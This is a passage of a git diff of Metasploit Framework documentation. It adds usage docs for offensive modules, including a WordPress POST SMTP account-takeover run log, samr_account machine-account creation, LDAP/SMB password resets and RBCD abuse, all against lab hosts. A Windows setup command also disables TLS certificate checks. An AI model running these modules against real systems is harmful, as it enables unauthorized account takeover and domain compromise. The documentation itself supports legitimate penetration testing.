- currently behind a feature flag, set with `features set datastore_fallbacks true` in msfconsole
+ support gracefully checking a list of more generic fallbacks option names such as `Username`.
Now let's talk about what classes are available:
diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md b/docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md
index f94597cac083..f0293d4336bf 100644
--- a/docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md
+++ b/docs/metasploit-framework.wiki/Metasploit-Guide-LDAP.md
@@ -75,7 +75,7 @@ This module has a selection of inbuilt queries which can be configured via the `
- `ENUM_COMPUTERS` - Dump all objects containing an objectCategory or objectClass of Computer.
- `ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow constrained delegation.
- `ENUM_DNS_RECORDS` - Dump info about DNS records the server knows about using the dnsNode object class.
-- `ENUM_DNS_ZONES` - Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This isneeded - as without this BASEDN prefix we often miss certain entries.
+- `ENUM_DNS_ZONES` - Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This is needed - as without this BASEDN prefix we often miss certain entries.
- `ENUM_DOMAIN` - Dump info about the Active Directory domain.
- `ENUM_DOMAIN_CONTROLLERS` - Dump all known domain controllers.
- `ENUM_EXCHANGE_RECIPIENTS` - Dump info about all known Exchange recipients.
@@ -96,6 +96,7 @@ This module has a selection of inbuilt queries which can be configured via the `
- `ENUM_USER_PASSWORD_NEVER_EXPIRES` - Dump info about all users whose password never expires.
- `ENUM_USER_PASSWORD_NOT_REQUIRED` - Dump info about all users whose password never expires and whose account is still enabled.
- `ENUM_USER_SPNS_KERBEROAST` - Dump info about all user objects with Service Principal Names (SPNs) for kerberoasting.
+- `ENUM_PRE_WINDOWS_2000_COMPUTERS` - Dump info about all computer objects likely created as a "pre-Windows 2000 computer", for which the password might be predictable.
### Kerberos Authentication
diff --git a/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md b/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md
index f5cd5e00f925..9b49aa940076 100644
--- a/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md
+++ b/docs/metasploit-framework.wiki/Metasploit-Guide-SMB.md
@@ -169,7 +169,7 @@ Local File System Commands
This session also works with the following modules:
auxiliary/admin/dcerpc/icpr_cert
- auxiliary/admin/dcerpc/samr_computer
+ auxiliary/admin/dcerpc/samr_account
auxiliary/admin/smb/delete_file
auxiliary/admin/smb/download_file
auxiliary/admin/smb/psexec_ntdsgrab
diff --git a/docs/metasploit-framework.wiki/Payload-Testing.md b/docs/metasploit-framework.wiki/Payload-Testing.md
new file mode 100644
index 000000000000..b1231ca67ffc
--- /dev/null
+++ b/docs/metasploit-framework.wiki/Payload-Testing.md
@@ -0,0 +1,41 @@
+Payloads for Metasploit Framework can now be tested when opening pull requests. This is handled by GitHub actions within
+our CI, this workflow will build the payloads using the appropriate repositories and branches. It will then run our
+acceptance tests against those changes. This requires adding GitHub labels for each corresponding payload repository.
+The labels will contain the `payload-testing` prefix, each supporting testing for an external repository:
+ - `payload-testing-branch` ([https://github.com/rapid7/metasploit-payloads/](https://github.com/rapid7/metasploit-payloads/))
+ - `payload-testing-mettle-branch` ([https://github.com/rapid7/mettle/](https://github.com/rapid7/mettle/))
+
+**_Note_**:
+
+The long term aim is supporting workflow dispatches for this job, but that is currently not working as expected. So as a
+work-around we will need to edit the workflow locally. Once the testing has been completed ensure the following locally
+changes are reverted before merging.
+
+Once the appropriate repository label is added, you will need to edit the GitHub workflow to point at the specific
+repository and branch you want to test. Below I will outline some changes that are required to make this work, update
+the following lines like so:
+
+1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L189):
+```yaml
+repository: foo-r7/metasploit-framework
+```
+
+2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L191):
+```yaml
+ref: fixes-all-the-bugs
+```
+
+3. Point at your forked repository that contains the payload changes you'd like to test - update lines [45](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L45) and [250](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L250):
+```yaml
+repository: foo-r7/metasploit-payloads
+```
+
+4. Point at your forked repository branch that contains the payload changes you'd like to test - update lines [47](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L47) and [252](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L252):
+```yaml
+ref: fixes-all-the-payload-bugs
+```
+
+Steps 3 and 4 outline the steps required when steps testing metasploit-payloads. The same steps apply for Mettle, the
+following lines would need updated:
+ - Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L156).
+ - Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L158).
diff --git a/docs/metasploit-framework.wiki/dev/Setting-Up-a-Metasploit-Development-Environment.md b/docs/metasploit-framework.wiki/dev/Setting-Up-a-Metasploit-Development-Environment.md
index ba5d1163fb02..7b7bdc95db1c 100644
--- a/docs/metasploit-framework.wiki/dev/Setting-Up-a-Metasploit-Development-Environment.md
+++ b/docs/metasploit-framework.wiki/dev/Setting-Up-a-Metasploit-Development-Environment.md
@@ -30,10 +30,29 @@ sudo apt update && sudo apt install -y git autoconf build-essential libpcap-dev
### Windows
-If you are running a Windows machine
+#### Windows 10 or above
-* Install [chocolatey](https://chocolatey.org/)
-* Install [Ruby x64 with DevKit](https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.0.3-1/rubyinstaller-devkit-3.0.3-1-x64.exe)
+* Install [winget](https://learn.microsoft.com/en-us/windows/package-manager/winget/)
+* Install [Ruby x64 with DevKit](https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.3.6-1/rubyinstaller-devkit-3.3.6-1-x64.exe)
+* Install pcaprub dependencies from your PowerShell terminal:
+
+```
+[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('https://www.winpcap.org/install/bin/WpdPack_4_1_2.zip', 'C:\Windows\Temp\WpdPack_4_1_2.zip')
+
+Expand-Archive -Path "C:\Windows\Temp\WpdPack_4_1_2.zip" -DestinationPath "C:\"
+```
+
+Install a version of PostgreSQL:
+
+```
+Install-Module -Name Microsoft.WinGet.Client
+Install-WinGetPackage -id PostgreSQL.PostgreSQL.17
+```
+
+#### Pre-Windows 10
+
+* Install [choco](https://chocolatey.org/install)
+* Install [Ruby x64 with DevKit](https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.3.6-1/rubyinstaller-devkit-3.3.6-1-x64.exe)
* Install pcaprub dependencies from your cmd.exe terminal:
```
@@ -46,7 +65,7 @@ choco install 7zip
Install a version of PostgreSQL:
```
-choco install postgresql12
+choco install postgresql17
```
## Set up your local copy of the repository
@@ -82,7 +101,9 @@ git config --global user.email "$GITHUB_EMAIL"
git config --global github.user "$GITHUB_USERNAME"
```
-* Set up [msftidy] to run before each `git commit` and after each `git merge` to quickly identify potential issues with your contributions:
+- Set up [msftidy] to run before each `git commit` and after each `git merge` to quickly identify potential issues with your contributions:
+
+#### Linux
```bash
cd ~/git/metasploit-framework
@@ -90,8 +111,20 @@ ln -sf ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit
ln -sf ../../tools/dev/pre-commit-hook.rb .git/hooks/post-merge
```
+#### Windows
+
+```powershell
+cd ~/git/metasploit-framework
+mkdir .githooks
+git config --local core.hooksPath .githooks/
+New-Item -Path pre-commit -ItemType SymbolicLink -Value ..\tools\dev\pre-commit-hook.rb
+New-Item -Path post-merge -ItemType SymbolicLink -Value ..\tools\dev\pre-commit-hook.rb
+```
+
## Install Ruby
+ **Note:** If you are using Windows, ruby installed in [Install dependencies](#install-dependencies) section, so you can skip this section
+
Linux distributions do not ship with the latest Ruby, nor are package managers routinely updated. Additionally, if you are working with multiple Ruby projects, each one has dependencies and Ruby versions which can start to conflict. For these reasons, it is advisable to use a Ruby manager.
You could just install Ruby directly (eg. `sudo apt install ruby-dev`), but you may likely end up with the incorrect version and no way to update. Instead, consider using one of the many different [Ruby environment managers] available. The Metasploit team prefers [rbenv] and [rvm] (note that [rvm] does require a re-login to complete).
diff --git a/docs/navigation.rb b/docs/navigation.rb
index 6bc28ee7f3bc..52c62f6f1ef7 100644
--- a/docs/navigation.rb
+++ b/docs/navigation.rb
@@ -856,6 +856,9 @@ def without_prefix(prefix)
{
path: 'Loading-Test-Modules.md'
},
+ {
+ path: 'Payload-Testing.md'
+ },
{
path: 'Measuring-Metasploit-Performance.md'
}
diff --git a/documentation/modules/auxiliary/admin/dcerpc/samr_account.md b/documentation/modules/auxiliary/admin/dcerpc/samr_account.md
new file mode 100644
index 000000000000..d3be1ef3c1ec
--- /dev/null
+++ b/documentation/modules/auxiliary/admin/dcerpc/samr_account.md
@@ -0,0 +1,109 @@
+## Vulnerable Application
+Add, lookup and delete user / machine accounts via MS-SAMR. By default standard active directory users can add up to 10
+new computers to the domain (MachineAccountQuota). Administrative privileges however are required to delete the created
+accounts, or to create/delete user accounts.
+
+## Verification Steps
+
+1. From msfconsole
+2. Do: `use auxiliary/admin/dcerpc/samr_account`
+3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
+ 1. Set the `ACCOUNT_NAME` option for `DELETE_ACCOUNT` and `LOOKUP_ACCOUNT` actions
+4. Run the module and see that a new machine account was added
+
+## Options
+
+### SMBDomain
+
+The Windows domain to use for authentication. The domain will automatically be identified if this option is left in its
+default value.
+
+### ACCOUNT_NAME
+
+The account name to add, lookup or delete. This option is optional for the `ADD_COMPUTER` action, and required for the
+`ADD_USER`, `LOOKUP_ACCOUNT` and `DELETE_ACCOUNT` actions. If left blank for `ADD_COMPUTER`, a random, realistic name
+will be generated.
+
+### ACCOUNT_PASSWORD
+
+The password for the new account. This option is only used for the `ADD_COMPUTER` and `ADD_USER` actions. If left
+blank, a random value will be generated.
+
+## Actions
+
+### ADD_COMPUTER
+
+Add a new computer to the domain. This action will fail with status `STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED` if the
+user has exceeded the maximum number of computer accounts that they are allowed to create.
+
+After the computer account is created, the password will be set for it. If `ACCOUNT_NAME` is set, that value will be
+used and the module will fail if the specified name is already in use. If `ACCOUNT_NAME` is *not* set, a random value
+will be used.
+
+### ADD_USER
+
+Add a new user to the domain. The account being used to create the new user must have permission to do so.
+
+After the user account is created, the password will be set for it. The `ACCOUNT_NAME` option must be set to the name of
+the account to create. The module will fail if the specified name is already in use.
+
+### DELETE_ACCOUNT
+
+Delete a user or computer account from the domain. This action requires that the `ACCOUNT_NAME` option be set.
+
+### LOOKUP_ACCOUNT
+
+Lookup a user or computer account in the domain. This action verifies that the specified account exists, and looks up
+its security ID (SID), which includes the relative ID (RID) as the last component.
+
+## Scenarios
+
+### Windows Server 2019
+
+First, a new computer account is created and its details are logged to the database.
+
+```
+msf6 auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.96
+RHOSTS => 192.168.159.96
+msf6 auxiliary(admin/dcerpc/samr_account) > set SMBUser aliddle
+SMBUser => aliddle
+msf6 auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1
+SMBPass => Password1
+msf6 auxiliary(admin/dcerpc/samr_account) > show options
+
+Module options (auxiliary/admin/dcerpc/samr_account):
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ ACCOUNT _NAME no The computer name
+ ACCOUNT_PASSWORD no The password for the new computer
+ RHOSTS 192.168.159.96 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 445 yes The target port (TCP)
+ SMBDomain . no The Windows domain to use for authentication
+ SMBPass Password1 no The password for the specified username
+ SMBUser aliddle no The username to authenticate as
+
+
+Auxiliary action:
+
+ Name Description
+ ---- -----------
+ ADD_COMPUTER Add a computer account
+
+
+msf6 auxiliary(admin/dcerpc/samr_account) > run
+[*] Running module against 192.168.159.96
+
+[*] 192.168.159.96:445 - Using automatically identified domain: MSFLAB
+[+] 192.168.159.96:445 - Successfully created MSFLAB\DESKTOP-2X8F54QG$ with password MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY
+[*] Auxiliary module execution completed
+msf6 auxiliary(admin/dcerpc/samr_account) > creds
+Credentials
+===========
+
+host origin service public private realm private_type JtR Format
+---- ------ ------- ------ ------- ----- ------------ ----------
+192.168.159.96 192.168.159.96 445/tcp (smb) DESKTOP-2X8F54QG$ MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY MSFLAB Password
+
+msf6 auxiliary(admin/dcerpc/samr_account) >
+```
diff --git a/documentation/modules/auxiliary/admin/dcerpc/samr_computer.md b/documentation/modules/auxiliary/admin/dcerpc/samr_computer.md
deleted file mode 100644
index c21174946af0..000000000000
--- a/documentation/modules/auxiliary/admin/dcerpc/samr_computer.md
+++ /dev/null
@@ -1,100 +0,0 @@
-## Vulnerable Application
-Add, lookup and delete computer accounts via MS-SAMR. By default standard active directory users can add up to 10 new
-computers to the domain. Administrative privileges however are required to delete the created accounts.
-
-## Verification Steps
-
-1. From msfconsole
-2. Do: `use auxiliary/admin/dcerpc/samr_computer`
-3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
- 1. Set the `COMPUTER_NAME` option for `DELETE_COMPUTER` and `LOOKUP_COMPUTER` actions
-4. Run the module and see that a new machine account was added
-
-## Options
-
-### SMBDomain
-
-The Windows domain to use for authentication. The domain will automatically be identified if this option is left in its
-default value.
-
-### COMPUTER_NAME
-
-The computer name to add, lookup or delete. This option is optional for the `ADD_COMPUTER` action, and required for the
-`LOOKUP_COMPUTER` and `DELETE_COMPUTER` actions.
-
-### COMPUTER_PASSWORD
-
-The password for the new computer. This option is only used for the `ADD_COMPUTER` action. If left blank, a random value
-will be generated.
-
-## Actions
-
-### ADD_COMPUTER
-
-Add a new computer to the domain. This action will fail with status `STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED` if the
-user has exceeded the maximum number of computer accounts that they are allowed to create.
-
-After the computer account is created, the password will be set for it. If `COMPUTER_NAME` is set, that value will be
-used and the module will fail if the selected name is already in use. If `COMPUTER_NAME` is *not* set, a random value
-will be used.
-
-### DELETE_COMPUTER
-
-Delete a computer from the domain. This action requires that the `COMPUTER_NAME` option be set.
-
-### LOOKUP_COMPUTER
-
-Lookup a computer in the domain. This action verifies that the specified computer exists, and looks up its security ID
-(SID), which includes the relative ID (RID) as the last component.
-
-## Scenarios
-
-### Windows Server 2019
-
-First, a new computer account is created and its details are logged to the database.
-
-```
-msf6 auxiliary(admin/dcerpc/samr_computer) > set RHOSTS 192.168.159.96
-RHOSTS => 192.168.159.96
-msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBUser aliddle
-SMBUser => aliddle
-msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBPass Password1
-SMBPass => Password1
-msf6 auxiliary(admin/dcerpc/samr_computer) > show options
-
-Module options (auxiliary/admin/dcerpc/samr_computer):
-
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- COMPUTER_NAME no The computer name
- COMPUTER_PASSWORD no The password for the new computer
- RHOSTS 192.168.159.96 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
- RPORT 445 yes The target port (TCP)
- SMBDomain . no The Windows domain to use for authentication
- SMBPass Password1 no The password for the specified username
- SMBUser aliddle no The username to authenticate as
-
-
-Auxiliary action:
-
- Name Description
- ---- -----------
- ADD_COMPUTER Add a computer account
-
-
-msf6 auxiliary(admin/dcerpc/samr_computer) > run
-[*] Running module against 192.168.159.96
-
-[*] 192.168.159.96:445 - Using automatically identified domain: MSFLAB
-[+] 192.168.159.96:445 - Successfully created MSFLAB\DESKTOP-2X8F54QG$ with password MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY
-[*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/samr_computer) > creds
-Credentials
-===========
-
-host origin service public private realm private_type JtR Format
----- ------ ------- ------ ------- ----- ------------ ----------
-192.168.159.96 192.168.159.96 445/tcp (smb) DESKTOP-2X8F54QG$ MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY MSFLAB Password
-
-msf6 auxiliary(admin/dcerpc/samr_computer) >
-```
diff --git a/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md
new file mode 100644
index 000000000000..3ba1a4f01d8c
--- /dev/null
+++ b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md
@@ -0,0 +1,105 @@
+## Vulnerable Application
+
+The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege
+escalation where an unauthenticated user is able to reset the password
+of an arbitrary user. This is done by requesting a password reset, then
+viewing the latest email logs to find the associated password reset email.
+
+### Install
+
+1. Create `wp_post_smtp_acct_takeover.docker-compose.yml` with the content:
+```
+version: '3.1'
+
+services:
+ wordpress:
+ image: wordpress:latest
+ restart: always
+ ports:
+ - 5555:80
+ environment:
+ WORDPRESS_DB_HOST: db
+ WORDPRESS_DB_USER: chocapikk
+ WORDPRESS_DB_PASSWORD: dummy_password
+ WORDPRESS_DB_NAME: exploit_market
+ mem_limit: 512m
+ volumes:
+ - wordpress:/var/www/html
+
+ db:
+ image: mysql:5.7
+ restart: always
+ environment:
+ MYSQL_DATABASE: exploit_market
+ MYSQL_USER: chocapikk
+ MYSQL_PASSWORD: dummy_password
+ MYSQL_RANDOM_ROOT_PASSWORD: '1'
+ volumes:
+ - db:/var/lib/mysql
+
+volumes:
+ wordpress:
+ db:
+
+```
+2. `docker-compose -f wp_post_smtp_acct_takeover.docker-compose.yml up`
+3. `wget https://downloads.wordpress.org/plugin/post-smtp.2.8.6.zip`
+4. `unzip post-smtp.2.8.6.zip`
+5. `docker cp post-smtp :/var/www/html/wp-content/plugins`
+6. Complete the setup of wordpress
+7. Enable the post-smtp plugin, select "default" for the SMTP service
+ 1. Complete the setup using random information, it isn't validated.
+8. Update permalink structure per https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244
+ 1. Settings -> Permalinks -> Permalink structure -> Select "Post name" -> Save Changes.
+
+
+## Verification Steps
+
+1. Install the vulnerable plugin
+2. Start msfconsole
+3. Do: `use auxiliary/admin/http/wp_post_smtp_acct_takeover`
+4. Do: `set rhost 127.0.0.1`
+5. Do: `set rport 5555`
+6. Do: `set ssl false`
+7. Do: `set username `
+8. Do: `set verbose true`
+9. Do: `run`
+10. Visit the output URL to reset the user's password.
+
+## Options
+
+### USERNAME
+
+The username to perform a password reset against
+
+## Scenarios
+
+### Wordpress 6.6.2 with SMTP Post 2.8.6 on Docker
+
+```
+msf6 > use auxiliary/admin/http/wp_post_smtp_acct_takeover
+msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rhost 127.0.0.1
+rhost => 127.0.0.1
+msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rport 5555
+rport => 5555
+msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set ssl false
+ssl => false
+msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set username admin
+username => admin
+msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set verbose true
+verbose => true
+msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > run
+[*] Running module against 127.0.0.1
+
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Checking /wp-content/plugins/post-smtp/readme.txt
+[*] Found version 2.8.6 in the plugin
+[+] The target appears to be vulnerable.
+[*] Attempting to Registering token fUefO7U12dXtb0DM on device GP3tOFuMfFErw
+[+] Succesfully created token: fUefO7U12dXtb0DM
+[*] Requesting logs
+[*] Requesting email content from logs for ID 4
+[+] Full text of log saved to: /home/mtcyr/.msf4/loot/20241029142103_default_127.0.0.1_wordpress.post_s_367186.txt
+[+] Reset URL: http://127.0.0.1:5555/wp-login.php?action=rp&key=4kxMwfuvyQtcUDVrh985&login=admin&wp_lang=en_US
+[*] Auxiliary module execution completed
+```
\ No newline at end of file
diff --git a/documentation/modules/auxiliary/admin/ldap/change_password.md b/documentation/modules/auxiliary/admin/ldap/change_password.md
new file mode 100755
index 000000000000..7e38236d5b3c
--- /dev/null
+++ b/documentation/modules/auxiliary/admin/ldap/change_password.md
@@ -0,0 +1,39 @@
+## Introduction
+
+Allows changing or resetting users' passwords over the LDAP protocol (particularly for Active Directory).
+
+"Changing" refers to situations where you know the value of the existing password, and send that to the server as part of the password modification.
+"Resetting" refers to situations where you may not know the value of the existing password, but by virtue of your permissions over the target account, you can force-change the password without necessarily knowing it.
+
+Note that users can typically not reset their own passwords (unless they have very high privileges), but can usually change their password as long as they know the existing one.
+
+This module works with existing sessions (or relaying), especially for Resetting, wherein the target's password is not required.
+
+## Actions
+
+- `RESET` - Reset the target's password without knowing the existing one (requires appropriate permissions)
+- `CHANGE` - Change the user's password, knowing the existing one.
+
+## Options
+
+The required options are based on the action being performed:
+
+- When resetting a password, you must specify the `TARGET_USER`
+- When changing a password, you must specify the `USERNAME` and `PASSWORD`, even if using an existing session (since the API requires both of these to be specified, even for open LDAP sessions)
+- The `NEW_PASSWORD` option must always be provided
+
+**USERNAME**
+
+The username to use to authenticate to the server. Required for changing a password, even if using an existing session.
+
+**PASSWORD**
+
+The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password).
+
+**TARGET_USER**
+
+For resetting passwords, the user account for which to reset the password. The authenticated account (username) must have privileges over the target user (e.g. Ownership, or the `User-Force-Change-Password` extended right)
+
+**NEW_PASSWORD**
+
+The new password to set.
\ No newline at end of file
diff --git a/documentation/modules/auxiliary/admin/ldap/rbcd.md b/documentation/modules/auxiliary/admin/ldap/rbcd.md
index 41efd5de2f7f..1f7e29d36d6d 100644
--- a/documentation/modules/auxiliary/admin/ldap/rbcd.md
+++ b/documentation/modules/auxiliary/admin/ldap/rbcd.md
@@ -62,14 +62,14 @@ PropagationFlags : None
## Module usage
-The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
+The `admin/dcerpc/samr_account` module is generally used to first create a computer account, which by default, all user accounts in a domain can perform:
1. From msfconsole
-2. Do: `use auxiliary/admin/dcerpc/samr_computer`
+2. Do: `use auxiliary/admin/dcerpc/samr_account`
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
- a. For the `ADD_COMPUTER` action, if you don't specify `COMPUTER_NAME` or `COMPUTER_PASSWORD` - one will be generated automatically
- b. For the `DELETE_COMPUTER` action, set the `COMPUTER_NAME` option
- c. For the `LOOKUP_COMPUTER` action, set the `COMPUTER_NAME` option
+ a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically
+ b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option
+ c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option
4. Run the module and see that a new machine account was added
Then the `auxiliary/admin/ldap/rbcd` can be used:
@@ -121,19 +121,30 @@ with the Service for User (S4U) Kerberos extension.
First create the computer account:
```msf
-msf6 auxiliary(admin/dcerpc/samr_computer) > show options
+msf6 auxiliary(admin/dcerpc/samr_account) > show options
-Module options (auxiliary/admin/dcerpc/samr_computer):
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ ACCOUNT_NAME no The account name
+ ACCOUNT_PASSWORD no The password for the new account
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- COMPUTER_NAME no The computer name
- COMPUTER_PASSWORD no The password for the new computer
- RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
- RPORT 445 yes The target port (TCP)
- SMBDomain . no The Windows domain to use for authentication
- SMBPass no The password for the specified username
- SMBUser no The username to authenticate as
+
+ Used when connecting via an existing SESSION:
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ SESSION no The session to run this module on
+
+
+ Used when making a new connection via RHOSTS:
+
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
+ RPORT 445 yes The target port (TCP)
+ SMBDomain . no The Windows domain to use for authentication
+ SMBPass no The password for the specified username
+ SMBUser no The username to authenticate as
Auxiliary action:
@@ -143,13 +154,13 @@ Auxiliary action:
ADD_COMPUTER Add a computer account
-msf6 auxiliary(admin/dcerpc/samr_computer) > set RHOSTS 192.168.159.10
+msf6 auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
-msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBUser sandy
+msf6 auxiliary(admin/dcerpc/samr_account) > set SMBUser sandy
SMBUser => sandy
-msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBPass Password1!
+msf6 auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1!
SMBPass => Password1!
-msf6 auxiliary(admin/dcerpc/samr_computer) > run
+msf6 auxiliary(admin/dcerpc/samr_account) > run
[*] Running module against 192.168.159.10
[*] 192.168.159.10:445 - Using automatically identified domain: MSFLAB
@@ -157,7 +168,7 @@ msf6 auxiliary(admin/dcerpc/samr_computer) > run
[+] 192.168.159.10:445 - Password: A2HPEkkQzdxQirylqIj7BxqwB7kuUMrT
[+] 192.168.159.10:445 - SID: S-1-5-21-3402587289-1488798532-3618296993-1655
[*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/samr_computer) > use auxiliary/admin/ldap/rbcd
+msf6 auxiliary(admin/dcerpc/samr_account) > use auxiliary/admin/ldap/rbcd
```
Now use the RBCD module to read the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`:
@@ -181,7 +192,7 @@ msf6 auxiliary(admin/ldap/rbcd) > read
[*] Auxiliary module execution completed
```
-Writing a new `msDS-AllowedToActOnBehalfOfOtherIdentity` value using the computer account created by `admin/dcerpc/samr_computer`:
+Writing a new `msDS-AllowedToActOnBehalfOfOtherIdentity` value using the computer account created by `admin/dcerpc/samr_account`:
```msf
msf6 auxiliary(admin/ldap/rbcd) > set DELEGATE_FROM DESKTOP-QLSTR9NW$
diff --git a/documentation/modules/auxiliary/admin/smb/change_password.md b/documentation/modules/auxiliary/admin/smb/change_password.md
new file mode 100755
index 000000000000..7321eaa53160
--- /dev/null
+++ b/documentation/modules/auxiliary/admin/smb/change_password.md
@@ -0,0 +1,46 @@
+## Introduction
+
+Allows changing or resetting users' passwords.
+
+"Changing" refers to situations where you know the value of the existing password, and send that to the server as part of the password modification.
+"Resetting" refers to situations where you may not know the value of the existing password, but by virtue of your permissions over the target account, you can force-change the password without necessarily knowing it.
+
+Note that users can typically not reset their own passwords (unless they have very high privileges).
+
+This module works with existing sessions (or relaying), especially for Reset use cases, wherein the target's password is not required.
+
+## Actions
+
+- `RESET` - Reset the target's password without knowing the existing one (requires appropriate permissions). New AES kerberos keys will be generated.
+- `RESET_NTLM` - Reset the target's NTLM hash, without knowing the existing password. AES kerberos authentication will not work until a standard password change occurs.
+- `CHANGE` - Change the password, knowing the existing one. New AES kerberos keys will be generated.
+- `CHANGE_NTLM` - Change the password to a NTLM hash value, knowing the existing password. AES kerberos authentication will not work until a standard password change occurs.
+
+## Options
+
+The required options are based on the action being performed:
+
+- When resetting a password, you must specify the `TARGET_USER`
+- When changing a password, you must specify the `SMBUser` and `SMBPass`, even if using an existing session (since the API requires both of these to be specified, even for open SMB sessions)
+- When resetting or changing a password, you must specify `NEW_PASSWORD`
+- When resetting or changing an NTLM hash, you must specify `NEW_NTLM`
+
+**SMBUser**
+
+The username to use to authenticate to the server. Required for changing a password, even if using an existing session.
+
+**SMBPass**
+
+The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password).
+
+**TARGET_USER**
+
+For resetting passwords, the user account for which to reset the password. The authenticated account (SMBUser) must have privileges over the target user (e.g. Ownership, or the `User-Force-Change-Password` extended right)
+
+**NEW_PASSWORD**
+
+The new password to set for `RESET` and `CHANGE` actions.
+
+**NEW_NTLM**
+
+The new NTLM hash to set for `RESET_NTLM` and `CHANGE_NTLM` actions. This can either be an NT hash, or a colon-delimited NTLM hash.
\ No newline at end of file
diff --git a/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md
new file mode 100644
index 000000000000..47bc24b0e83e
--- /dev/null
+++ b/documentation/modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.md
@@ -0,0 +1,205 @@
+## Vulnerable Application
+Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources.
+Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment.
+
+This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect appliance which,
+in its default configuration, allows the anonymous registration of new backup/protection agents on new endpoints.
